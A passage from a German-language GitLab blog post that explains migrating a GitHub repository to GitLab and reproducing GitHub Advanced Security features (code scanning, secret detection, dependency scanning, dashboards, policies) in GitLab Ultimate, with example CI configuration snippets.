Enterprise-Abonnement an. GitLabs integrierte DevSecOps-Plattform bedeutet jedoch, dass Sicherheitsfunktionen vom ersten Tag an nahtlos mit CI/CD, Projektmanagement und anderen Tools zusammenarbeiten - ohne zusätzliche Käufe oder Integrationen. Diese native Integration führt oft zu schnellerer Implementierung und besseren Sicherheitsergebnissen.\n\n\n## So migrierst du ein GitHub-Repository zu GitLab\n\n\nGitLab bietet einen integrierten Importer, mit dem du deine GitHub-Projekte entweder von GitHub.com oder GitHub Enterprise nach GitLab importieren kannst. Mit dem Importer kannst du nicht nur das GitHub-Repository nach GitLab migrieren, sondern auch verschiedene andere Objekte, einschließlich Tickets, Beteiligte (Mitglieder) und Pull Requests. Eine vollständige Liste der migrierbaren Daten findest du in der [Dokumentation zum Import von Daten von GitHub](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data). Die Migration wird wie folgt durchgeführt:\n\n1. Wähle oben in der linken Menüleiste **Neu erstellen (+)** aus.\n\n2. Wähle im Abschnitt **In GitLab** **Neues Projekt/Repository**aus.\n\n3. Wähle **Projekt importieren** aus.\n\n\n![Projektauswahl importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/1-Import-Project.png)\n\n\n4. Wähle die Schaltfläche **GitHub** aus.\n – Wenn du GitLab Self-Managed verwendest, musst du [den GitHub-Importer aktivieren](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n – Beachte, dass andere Importer auf dieselbe Weise initiiert werden können.\n 5. Jetzt kannst du einen der folgenden Schritte ausführen:\n – Autorisiere dich mit GitHub Oauth, indem du **Mit GitHub autorisieren** auswählst.\n – Verwende einen persönlichen GitHub-Zugriffstoken:\n – Gehe zu \u003Chttps://github.com/settings/tokens/new>.\n – Gib im Feld **Hinweis** eine Token-Beschreibung ein.\n – Wähle den **Repo**-Geltungsbereich aus.\n – Um Beteiligte zu importieren, wähle optional den Geltungsbereich **read:org** aus.\n – Wähle die Schaltfläche **Token generieren** aus.\n – Füge auf der GitLab-Importseite im Feld „Persönlicher Zugriffstoken“ den persönlichen GitHub-Zugriffstoken ein.\n5. Wähle die Schaltfläche **Authentifizieren** aus.\n\n6. Wähle die Elemente aus, die du migrieren möchtest.\n\n7. Wähle die Projekte aus, die du migrieren möchtest, und wohin du sie migrieren möchtest.\n\n8. Wähle die Schaltfläche **Importieren** aus.\n\n\nDein importiertes Projekt sollte sich nun in deinem Arbeitsbereich befinden. Weitere Informationen über die Migration von GitHub zu GitLab findest du in diesem Video:\n\n\n\u003C!-- blank line -->\n\n\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=HEpZVy94cpfPfAky\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n\nDu kannst die Migration auch mit einem [persönlichen GitHub-Zugriffstoken](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token) oder der [GitLab REST API(https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api) durchführen. Der Importer ermöglicht auch den Import aus anderen Quellen wie Bitbucket oder Gitea. Weitere Informationen findest du in der [Importer-Dokumentation](https://docs.gitlab.com/ee/user/project/import/).\n\n\n\\## So migrierst du Funktion für Funktion\n\n\nIm Folgenden erfährst du, wie du die einzelnen Funktionen von GitHub Advanced Security in GitLab Ultimate nutzen kannst. Du benötigst eine [GitLab Ultimate-Lizenz](https://about.gitlab.com/pricing/ultimate/), um fortzufahren. GitLab bietet eine [kostenlose Testversion](https://about.gitlab.com/free-trial/devsecops/), um dir den Einstieg zu erleichtern.\n\n\n### Scannen von Code\n\n\nMit dem Scannen von Code bietet GitLab kontextbezogene Intelligenz von Sicherheitslücken und Ratschläge für statischen Quellcode. Das Gleiche kannst du in GitLab erreichen, indem du [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) aktivierst. GitLab SAST-Scanner decken ein breiteres Spektrum an Programmiersprachen und Frameworks ab als [CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql) von GitHub.\n\n\nUm das Scannen von Code in GitLab zu aktivieren, kannst du einfach die [SAST-Vorlage](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) zu deiner ‚.gitlab-ci.yml‘ hinzufügen:\n\n\n```yaml\n\ninclude:\n - template: Jobs/SAST.gitlab-ci.yml\n```\n\n\nSobald die Vorlage hinzugefügt wurde, erkennt SAST automatisch jedes Mal, wenn neuer Code eingecheckt wird, die [Programmiersprachen](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), die in deinem Projekt verwendet werden. Es scannt dann den Quellcode nach bekannten Schwachstellen.\n\n\n**Hinweis:** Sicherheitsscanner können deinem Projekt auch mithilfe der \\[Sicherheitskonfiguration] von GitLab (https://docs.gitlab.com/ee/user/application_security/configuration/) hinzugefügt werden. Diese kann automatisch einen Merge Request erstellen, um deine Pipeline zu aktualisieren. Weitere Informationen findest du in der [Dokumentation zum Konfigurieren von SAST mithilfe der UI](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-by-using-the-ui).\n\n\nDie SAST-Ergebnisse zwischen dem Feature-Branch und der Zielbranch werden im Merge-Request-Widget angezeigt. Das Merge Request-Widget zeigt SAST-Ergebnisse und -Auflösungen an, die durch die Änderungen im Merge Request eingeführt wurden.\n\n\n![Sicherheits-Scanning in Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/2-SAST-MR-View.png)\n\n\nJede Sicherheitslücke zeigt Daten an, die bei der Behebung helfen, einschließlich detaillierter Beschreibung, Schweregrad, Standort und Lösungsinformationen:\n\n\n![SAST-Sicherheitslückendetails](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/3-SAST-MR-View-Detailed.png)\n\n\nDu kannst Maßnahmen gegen diese Sicherheitslücken ergreifen:\n\n\n– **Sicherheitslücke ignorieren**: Ermöglicht es Entwickler(inne)n, die Sicherheitslücke mit einem Kommentar zu ignorieren. Dies unterstützt das Sicherheitsteam bei der Durchführung einer Review.\n\n– **Ticket erstellen**: Ermöglicht das Erstellen eines Tickets, um eine Sicherheitslücke zu verfolgen, die eine zusätzliche Überwachung erfordert.\n\n\nDiese Änderungen sind auch inline sichtbar, wenn du innerhalb des Merge Request zur Ansicht **Änderungen** wechselst.\n\n\n![SAST-Änderungsansicht für Sicherheitslücken](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/4-SAST-MR-View-Changes.png)\n\n\n#### Anpassen von SAST-Scannern\n\n\nMit GitLab kannst du eine SAST-Jobdefinition überschreiben und Eigenschaften wie Variablen, Abhängigkeiten oder Regeln ändern. Dazu musst du einen Job mit demselben Namen erstellen, wie der SAST-Job, den du überschreiben willst. Platziere dann diesen neuen Job nach dem Einfügen der Vorlage und gib alle zusätzlichen Schlüssel darunter an.\n\n\nEin Beispiel ist die folgende Konfiguration:\n\n– überschreibt die Version, die der ‚semgrep-sast‘-Scanner verwendet\n\n– führt ein Skript aus, um Module aus privaten Projekten abzurufen, bevor ‚gosec-sast‘ ausgeführt wird \n\n– konfiguriert alle Scanner so, dass sie in einer maximalen Tiefe von 10 suchen\n\n\n```yaml\n\ninclude:\n - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n SEARCH_MAX_DEPTH: 10\n\nsemgrep-sast:\n variables:\n SAST_ANALYZER_IMAGE_TAG: \"3.7\"\n\ngosec-sast:\n before_script:\n - |\n cat \u003C\u003CEOF > ~/.netrc\n machine gitlab.com\n login $CI_DEPLOY_USER\n password $CI_DEPLOY_PASSWORD\n EOF\n```\n\n\n**Hinweis:** Die verfügbaren SAST-Jobs findest du in der [Vorlage ‚SAST.gitlab-ci.yml‘](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Konfigurationen findest du in der [Dokumentation für verfügbare SAST CI/CD Variablen](https://docs.gitlab.com/ee/user/application_security/sast/#available-cicd-variables).\n\n\n#### Anpassen von SAST-Regelsätzen\n\n\nFür jeden SAST-Analysator verarbeitet GitLab den Code und verwendet dann Regeln, um mögliche Schwachstellen im Quellcode zu finden. Diese Regeln bestimmen, welche Arten von Schwachstellen der Scanner meldet.\n\n\n– Für Semgrep-basierte SAST-Scanner erstellt, pflegt und unterstützt GitLab die verwendeten Regeln. Es kombiniert die Open-Source-Engine Semgrep, von GitLab verwaltete Erkennungsregeln und die proprietäre Technologie von GitLab für das Verfolgen von Sicherheitslücken und die Erkennung von falschen positiven Ergebnissen.\n\n– Für andere SAST-Analysatoren werden die Regeln in den Upstream-Projekten für jeden Scanner definiert.\n\n\nDu kannst das Verhalten der SAST-Scanner anpassen, indem du eine Regelsatz-Konfigurationsdatei im gescannten Repository definierst:\n\n– Vordefinierte Regeln deaktivieren (für alle Analysatoren verfügbar)\n\n– Vordefinierte Regeln überschreiben (für alle Analysatoren verfügbar)\n\n– Vordefinierte Regeln ersetzen, indem du eine benutzerdefinierte Konfiguration mithilfe von Passthroughs synthetisierst\n\n\nWeitere Informationen und Beispiele zum Konfigurieren von SAST-Regeln findest du in den [SAST-Regeln](https://docs.gitlab.com/ee/user/application_security/sast/rules.html) und in der [Dokumentation zum Anpassen von Regelsätzen](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html).\n\n\n### Geheimnissuche\n\n\nDas GitHub-Feature Geheimnissuche findet, blockiert und widerruft durchgesickerte Geheimnisse. Das Gleiche kannst du in GitLab erreichen, indem du die Funktion [Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/) aktivierst.\n\n\nUm die Erkennung von Geheimnissen in GitLab zu aktivieren, kannst du einfach die folgende Vorlage zu deiner ‚.gitlab-ci.yml‘ hinzufügen:\n\n\n```yaml\n\ninclude:\n - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\n\nSobald die Vorlage hinzugefügt wurde, scannt der Geheimnisscanner jedes Mal, wenn neuer Code eingecheckt wird (oder eine Pipeline ausgeführt wird), den Quellcode auf bekannte Geheimnisse. Je nach Situation scannt die Erkennung von Geheimnissen für Pipelines verschiedene Aspekte deines Codes. Für alle Methoden außer dem „Standard-Branch“ scannt die Erkennung von Geheimnissen für Pipelines Commits, nicht den Arbeitsbaum. Weitere Informationen zur Geheimnissuche findest du in der [Dokumentation zur Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#coverage).\n\n\nWenn du einen Merge Request erstellst, scannt die Funktion Erkennung von Geheimnissen jeden Commit, der im Quellbranch vorgenommen wurde. Genau wie in SAST liefert jede erkannte Sicherheitslücke die folgenden Informationen (z. B. Standort) und Bezeichner, um den Behebungsprozess zu unterstützen:\n\n\n![Sicherheitslückendetails für die Erkennung von Geheimnissen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/5-Secret-Detection-MR-Detailed.png)\n\n\nÄhnlich wie bei SAST kannst du Maßnahmen gegen diese Sicherheitslücken direkt aus der Merge Request heraus ergreifen, einschließlich des Ignorierens von Sicherheitslücken und des Erstellens von Tickets.\n\n\n#### Anpassen von Jobs der Erkennung von Geheimnissen\n\n\nMit GitLab kannst du eine Jobdefinition der Erkennung von Geheimnissen überschreiben, sodass du Eigenschaften wie Variablen, Abhängigkeiten oder Regeln ändern kannst. Dazu musst du einen Job mit demselben Namen erstellen, wie der Job zur Erkennung von Geheimnissen, den du überschreiben willst. Platziere dann diesen neuen Job nach dem Einfügen der Vorlage und gib alle zusätzlichen Schlüssel darunter an. Ein Beispiel ist die folgende Konfiguration:\n\n\n– überschreibt die Phase, auf der der Job zur Erkennung von Geheimnissen ausgeführt wird, zu ‚security‘\n\n– ermöglicht Verlaufsscans\n\n– ändert die Analysatorversion für Geheimnisse auf 4.5\n\n\n```yaml\n\ninclude:\n - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n stage: security\n variables:\n SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n SECRETS_ANALYZER_VERSION: \"4.5\"\n```\n\n\n**Hinweis:** Die verfügbaren Jobs zur Erkennung von Geheimnissen findest du in der [Vorlage SAST.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml). Verfügbare Konfigurationen findest du in der [Dokumentation zu verfügbaren CI/CD-Variablen der Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#customizing-analyzer-settings).\n\n\n#### Anpassen von Regeln für die Erkennung von Geheimnissen\n\n\nMit dem Analysator für die Erkennung von Geheimnissen kannst du anzupassen, welche Geheimnisse in der GitLab-UI gemeldet werden. Die folgenden Anpassungsoptionen können einzeln oder in Kombination verwendet werden:\n\n\n– vordefinierte Regeln deaktivieren\n\n– vordefinierte Regeln überschreiben\n\n– eine benutzerdefinierte Konfiguration synthetisieren\n\n– eine Remote-Konfigurationsdatei spezifizieren\n\n\nWenn du zum Beispiel die Datei ‚.gitlab/secret-detection-ruleset.toml‘ im Stammverzeichnis deines Projekts erstellst, wird das Standard-GitLeaks-Paket erweitert, sodass Testtoken von der Erkennung ausgeschlossen werden:\n\n\n```yaml\n\n### extended-gitleaks-config.toml\n\ntitle = \"extension of gitlab's default gitleaks config\"\n\n\n[extend]\n\n### Extends default packaged path\n\npath = \"/gitleaks.toml\"\n\n\n[allowlist]\n description = \"allow list of test tokens to ignore in detection\"\n regexTarget = \"match\"\n regexes = [\n '''glpat-1234567890abcdefghij''',\n ]\n```\n\n\nWeitere Informationen zum Überschreiben der vordefinierten Analysatorregeln findest du in der [Dokumentation zur Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#override-predefined-analyzer-rules).\n\n\n#### Automatische Reaktion auf durchgesickerte Geheimnisse\n\n\nDie Funktion zur Erkennung von Geheimnissen von GitLab reagiert automatisch, wenn sie bestimmte Arten von durchgesickerten Geheimnissen findet. Automatische Antworten können:\n\n– das Geheimnis automatisch widerrufen\n\n– den Partner, der das Geheimnis ausgestellt hat, benachrichtigen; der Partner kann dann das Geheimnis widerrufen, seine(n) Eigentümer(in) benachrichtigen oder sich auf andere Weise vor Missbrauch schützen\n\n\nGitLab kann Partner auch benachrichtigen, wenn von ihnen ausgestellte Anmeldeinformationen in öffentlichen Repositorys auf GitLab.com durchgesickert sind. Wenn du ein Cloud- oder SaaS-Produkt betreibst und diese Benachrichtigungen erhalten möchtest, kannst du eine Partner-API implementieren, die von der GitLab Token Revocation API aufgerufen wird.\n\n\nWeitere Informationen findest du in der [Dokumentation zu automatischen Antworten für durchgesickerte Geheimnisse](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html).\n\n\n### Sicherheit der Lieferkette\n\n\nMit GitHub kannst du Software-Lieferketten mit automatisierten Sicherheits- und Versionsaktualisierungen und SBOMs mit einem Klick sichern, verwalten und Berichte darüber erstellen. GitLab kann deine Sicherheitsbedürfnisse in der Lieferkette mithilfe der Funktionen der Abhängigkeitssuche und der Liste der Abhängigkeiten (SBOM) erfüllen.\n\n\nUm das Scannen von Abhängigkeiten in GitLab zu aktivieren, kannst du einfach die folgende Vorlage zu deiner ‚.gitlab-ci.yml‘ hinzufügen:\n\n\n```yaml\n\ninclude:\n - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n```\n\n\nSobald die Vorlage hinzugefügt wurde erkennt die Abhängigkeitssuche jedes Mal, wenn neuer Code eingecheckt wird, automatisch die [Paketmanager](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers), die in deinem Projekt verwendet werden. Sie scannt dann die verwendeten Abhängigkeiten auf bekannte Schwachstellen.\n\n\nDie Ergebnisse der Abhängigkeitssuche zwischen dem Feature-Branch und dem Zielbranch werden im Merge-Request-Widget angezeigt. Das Merge-Request-Widget zeigt die Ergebnisse der Abhängigkeitssuche, die durch die Änderungen im Merge Request eingeführt wurden, und schlägt Lösungen vor. Innerhalb eines Merge Request werden für jede Sicherheitslücke relevante Informationen angezeigt, die bei der Behebung hilfreich sind, wie Bezeichner, Beweise und Lösungen:\n\n\n![Sicherheitslückendetails der Abhängigkeitssuche](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/6-Dependency-Scanner-MR-View-Detailed.png)\n\n\nÄhnlich wie bei SAST und der Erkennung von Geheimnissen kannst du Maßnahmen gegen diese Sicherheitslücken direkt aus dem Merge Request heraus ergreifen. Dazu gehören das Ignorieren von Sicherheitslücken und das Erstellen von Tickets.\n\n\n#### Konfigurieren der Abhängigkeitssuche\n\n\nUm eine Jobdefinition zu überschreiben (z. B. um Eigenschaften wie Variablen oder Abhängigkeiten zu ändern), erstellst du einen neuen Job mit dem gleichen Namen wie den, den du überschreiben willst. Platziere dann diesen neuen Job nach dem Einfügen der Vorlage und gib alle zusätzlichen Schlüssel darunter an. Ein Beispiel ist der folgende Code:\n\n\n– deaktiviert die automatische Behebung anfälliger Abhängigkeiten\n\n– erfordert einen Build-Job, der vor der Abhängigkeitssuche abgeschlossen werden muss\n\n\n```yaml\n\ninclude:\n - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\ngemnasium-dependency_scanning:\n variables:\n DS_REMEDIATE: \"false\"\n dependencies: [\"build\"]\n```\n\n\nWeitere Informationen zur Konfiguration der Abhängigkeitssuche findest du in der [Dokumentation zum Anpassen des Verhaltens des Analysators](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-analyzer-behavior).\n\n\n#### Das Generieren eines SBOM\n\n\nGitLab bietet eine Liste der Abhängigkeiten (Dependency List, SBOM), mit der du die Abhängigkeiten deines Projekts oder deiner Gruppe sowie wichtige Details zu diesen Abhängigkeiten, einschließlich ihrer bekannten Sicherheitslücken, überprüfen kannst. Diese Liste ist eine Ansammlung von Abhängigkeiten in deinem Projekt, einschließlich bestehender und neuer Resultate. Die Liste der Abhängigkeiten wird generiert, nachdem die Abhängigkeitssuche erfolgreich auf dem [Standard-Branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) ausgeführt wurde. So greifst du auf die Liste der Abhängigkeiten zu:\n\n\n1. Wähle in der linken Seitenleiste **Suchen oder aufrufen** aus und suche nach deinem Projekt.\n\n2. Wähle **Sicher > Liste der Abhängigkeiten** aus.\n\n\n![Liste der Abhängigkeiten (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/7-Dependency-List.png)\n\n\nHier findest du die folgenden Informationen zu deinen Abhängigkeiten:\n\n\n| Feld | Beschreibung |\n\n| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n\n| Komponente | Name und Version der Abhängigkeit. |\n\n| Paketerstellungs-Manager | Der Paketerstellungs-Manager, mit dem die Abhängigkeit installiert wurde. |\n\n| Standort | Bei Systemabhängigkeiten wird das gescannte Image aufgelistet. Bei Anwendungsabhängigkeiten wird hier ein Link zu der für den Paketerstellungs-Manager spezifischen Lock-Datei in deinem Projekt angezeigt, in der die Abhängigkeit deklariert ist. Hier wird auch der Abhängigkeitspfad zu einer übergeordneten Abhängigkeit angegeben, falls diese vorhanden ist und unterstützt wird. |\n\n| Lizenz | Links zu den Softwarelizenzen der Abhängigen. Ein Warnhinweis, der die Anzahl der in der Abhängigkeit erkannten Sicherheitslücken enthält. |\n\n| Projekte | Link zum Projekt mit der Abhängigkeit. Wenn mehrere Projekte die gleiche Abhängigkeit haben, wird die Gesamtzahl der Projekte angezeigt. So öffnest du ein Projekt mit dieser Abhängigkeit: Wähle die Projektnummer aus, suche dann nach dem Namen und wähle ihn aus. Die Projektsuche wird nur bei Gruppen unterstützt, die maximal 600 Einträge in ihrer Gruppenhierarchie haben. |\n\n\n\u003Cp>\u003C/p>\n\n\nWeitere Informationen findest du in der [Dokumentation zur Liste der Abhängigkeiten](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n\n\n### Sicherheits- und Konformitätsverwaltung\n\n\nMit GitHub Advanced Security kannst du Sicherheitsmetriken und -einblicke anzeigen und das Sicherheitsrisiko von Code bewerten. Wir sehen uns jetzt an, wie man das gleiche mit GitLab Ultimate macht.\n\n\n#### Anzeigen von Sicherheitsmetriken und -einblicken\n\n\nGitLab bietet [Sicherheits-Dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), mit denen du den Sicherheitsstatus deiner Anwendungen bewerten kannst. Diese Dashboards zeigen eine Sammlung von Metriken, Bewertungen und Diagrammen für die von den Sicherheitsscannern in deinem Projekt erkannten Sicherheitslücken:\n\n\n– Sicherheitslückentrends über einen Zeitraum von 30, 60 oder 90 Tagen für alle Projekte in einer Gruppe\n\n– eine Einstufung für jedes Projekt nach der Schwere der Sicherheitslücke\n\n– die Gesamtzahl der in den letzten 365 Tagen entdeckten Sicherheitslücken, einschließlich ihres Schweregrads\n\n\nSo greifst du auf das Sicherheits-Dashboard zu:\n\n\n1. Wähle in der linken Menüleiste **Suchen oder aufrufen** und suche nach deinem Projekt oder deiner Gruppe.\n\n2. Wähle auf dem seitlichen Tab das Dashboard **Sicher > Sicherheit** aus.\n\n3. Filtere und suche nach dem, was du brauchst.\n\n\nDie Gruppenansicht zeigt deine Sicherheitslage für alle Projekte in deiner Gruppe an:\n\n\n![Dashboard Gruppensicherheit](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/8-SD-Group.png)\n\n\nDie Projektansicht zeigt deine Sicherheitslage nur für das Projekt an:\n\n\n![Dashboard Projektsicherheit](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/9-SD-Project.png)\n\n\n#### Beurteile das Sicherheitsrisiko des Codes\n\n\nGitLab Ultimate verfügt über einen [Sicherheitslückenbericht](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), der Informationen über Sicherheitslücken aus Scans des Standard-Branchs enthält. Er enthält kumulative Ergebnisse aller erfolgreichen Jobs, unabhängig davon, ob die Pipeline erfolgreich war. Der Sicherheitslückenbericht enthält auf allen Ebenen:\n\n\n– Die Gesamtanzahl der Sicherheitslücken pro Schweregrad\n\n– Filter für gängige Attribute für Sicherheitslücken\n\n– Details zu jeder Sicherheitslücke, dargestellt in einem tabellarischen Layout\n\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/10-Vulnerability-Report.png)\n\n\nWenn du auf eine Sicherheitslücke klickst, gelangst du zur [Seite der Sicherheitslücke](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), die Details zu der Sicherheitslücke enthält, wie z. B. eine Beschreibung, den Ort, die Bezeichner und mehr. Nachfolgend findest du ein Beispiel für die Seite einer SQL Injection-Sicherheitslücke, die von unserem SAST-Scanner erkannt wurde:\n\n\n![Seite einer SQL Injection-Sicherheitslücke](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/11-Vulnerability-Page-1.png)\n\n\nAuf dieser Seite kann das Sicherheitsteam zusammenarbeiten, indem es [den Status einer Sicherheitslücke](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#change-the-status-of-a-vulnerability) zusammen mit einer Begründung ändert und [Tickets erstellt, um Änderungen besser verfolgen zu können](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-gitlab-issue-for-a-vulnerability).\n\n\nAuf der Seite der Sicherheitslücke kannst du auch [GitLab Duo](https://about.gitlab.com/gitlab-duo/), unsere KI-gestützte Suite von Funktionen, nutzen. Es kann dir die Sicherheitslücke erklären und [automatisch einen Merge Request für die Behebung der Sicherheitslücke erstellen](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution).\n\nDie \\[Erklärung der Sicherheitslücke] von GitLab Duo (https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) verwendet ein umfangreiches Sprachmodell, um:\n\n\n– Die Sicherheitslücke zusammenzufassen\n\n– Entwickler(inne)n und Sicherheitsanalyst(inn)en zu helfen, die Sicherheitslücke zu verstehen und wie sie ausgenutzt und behoben werden kann,\n\n– Eine vorgeschlagene Abhilfemaßnahme vorzuschlagen\n\n\n![Erklärung einer SQL Injection von der GitLab Duo-KI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/13-Explain-Vulnerability.png)\n\n\n## Zusätzliche GitLab Ultimate-Sicherheitsfunktionen\n\n\nGitLab Ultimate enthält viele weitere Sicherheitsfunktionen, die in GitHub Advanced Security nicht vorhanden sind. Einige Beispiele für diese zusätzlichen Sicherheitsfunktionen sind: zusätzliche Sicherheitsscanner für den gesamten Lebenszyklus der Softwareentwicklung (SDLC), granulare Sicherheitsleitlinien und benutzerdefinierte Berechtigungen.\n\n\n### Sicherheitsscanner für den gesamten SDLC\n\n\nUnser Portfolio an Sicherheitsscannern erstreckt sich über den kompletten SDLC.\n\n\n| Name des Scanners | Scans | Gescannte Sprachen/Dateien |\n\n| ------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------------------------------------- |\n\n| [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Statischer Quellcode | C/C++, Java, Python, Go, JavaScript, C# und weitere |\n\n| [Dynamische Anwendungssicherheitstests (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Ausgeführte Webanwendung, Live-API | Sprachunabhängig |\n\n| [Scannen von Infrastructure as Code (IaC)](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | IaC-Dateien | Terraform, AWS Cloud Formation, Ansible, und weitere |\n\n| [Container-Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Statische und ausgeführte Container-Images | Dockerfile |\n\n| [Abhängigkeitssuche und Lizenz-Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Anwendungsabhängigkeiten | Requirements.txt, Yarn, Gradle, Npm und weitere |\n\n| [Web-API-Fuzz-Testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Sendet zufällige/falsche Daten an die Web-API | OpenAPI, GraphQL, HAR, Postman Collection |\n\n| [Abdeckungsgesteuertes Fuzz-Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Sendet zufällige/fehlerhafte Daten an Funktionen | C/C++, Go, Swift, Python, Rust, Java, JavaScript, AFL |\n\n\n\u003Cp>\u003C/p>\n\n\nGitLab ermöglicht auch die Integration von [Drittanbieter-Scannern](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) und [benutzerdefinierten Scannern](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/) in die Plattform. Nach der Integration werden die Scannerergebnisse automatisch an verschiedenen Stellen in GitLab angezeigt, z. B. in der Pipeline-Ansicht, im Merge-Request-Widget und im Sicherheits-Dashboard. Weitere Informationen findest du in der [Dokumentation zur Integration von Sicherheitsscannern](https://docs.gitlab.com/ee/development/integrations/secure.html).\n\n\n### Granulare Sicherheits- und Konformitätsrichtlinien\n\n\nMit den Richtlinien in GitLab können Sicherheits- und Konformitätsteams [Kontrollen weltweit in ihrem Unternehmen durchsetzen](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). Sicherheitsteams können Folgendes sicherstellen:\n\n\n– Sicherheitsscanner werden in den Pipelines des Entwicklungsteams mit der richtigen Konfiguration durchgesetzt.\n\n– Alle Scan-Jobs werden ohne Änderungen oder Modifikationen ausgeführt.\n\n– Ordnungsgemäße Genehmigungen für Merge Requests werden auf der Grundlage der Ergebnisse dieser Befunde erteilt.\n\n\n![Sicherheitsrichtlinien für Merge Requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/14-MR-Policy.png)\n\n\nKonformitätsteams können zentral mehrere Genehmigende für alle Merge Requests erzwingen und sicherstellen, dass verschiedene Einstellungen für Projekte im Rahmen der organisatorischen Anforderungen aktiviert sind, z. B. die Aktivierung oder Sperrung von Merge Requests und Repository-Einstellungen. Weitere Informationen findest du in der [GitLab-Sicherheitsrichtlinie](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n\n### Benutzerdefinierte Rollen und granulare Berechtigungen\n\n\n[GitLab Ultimate bietet benutzerdefinierte Rollen](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), mit denen ein Unternehmen Benutzerrollen mit genau den Privilegien und Berechtigungen erstellen kann, die für die Bedürfnisse dieses Unternehmen erforderlich sind.\n\n\nZum Beispiel könnte ein(e) Benutzer(in) eine „Security Auditor“-Rolle mit Berechtigungen zum Anzeigen von Sicherheitslücken im System erstellen, mit der aber kein Quellcode angezeigt oder Änderungen im Repository vorgenommen werden kann. Dieser granulare Satz von Berechtigungen ermöglicht eine klar definierte Aufgabentrennung.\n\n\n![Benutzerdefinierte Rollenerstellung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/15-Custom-Roles.png)\n\n\nWeitere Informationen findest du in den Dokumentationen zu [benutzerdefinierten Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) und [verfügbaren granularen Berechtigungen](https://docs.gitlab.com/ee/user/custom_roles/abilities.html).\n\n\n### Konformitäts-Center\n\n\nDas Konformitäts-Center ist der zentrale Ort für Konformitätsteams, um die Konformitätsstandards, die Berichterstattung über Verstöße und die Konformitätsframeworks für ihre Gruppe zu verwalten. Das Konformitäts-Center umfasst Folgendes:\n\n\n– Das [Dashboard zur 